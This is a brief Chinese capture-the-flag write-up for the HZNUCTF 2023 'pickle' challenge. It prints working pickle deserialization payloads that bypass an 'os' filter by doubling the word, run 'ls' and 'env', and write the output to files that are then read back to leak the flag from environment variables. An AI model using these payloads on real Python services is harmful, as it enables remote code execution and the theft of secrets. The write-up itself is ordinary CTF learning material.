Problem: [HZNUCTF 2023 preliminary]pickle
[[toc]]
思路
- 解题大致思路
普通的pickle反序列化,做的时候连不上vps了,事实上查看题解可以知道反弹不了shell,遂往写文件方向走,刚好有个路由可以读除flag以外的文件。
os被置空,双写过滤即可
EXP
- 具体攻击代码
import pickle import requests import base64 import pickletools opcode = b'''(cooss system S'ls > 1' o.''' data = base64.b64encode(opcode) print(data)
注意这里双写os就可以了。
然后/readFile?filename=1测试结果

发现没有flag,但是有flag.sh。不知道为什么读不了这个,中间有个加号,url编码后还是读不了。
最终发现flag在环境变量里:
import pickle import requests import base64 import pickletools opcode = b'''(cooss system S'env > 3' o.''' data = base64.b64encode(opcode) print(data)
更神奇的是env这个payload也有加号,但是编码之后就能了,flag.sh不可以,比较神奇
总结
- 对该题的考点总结
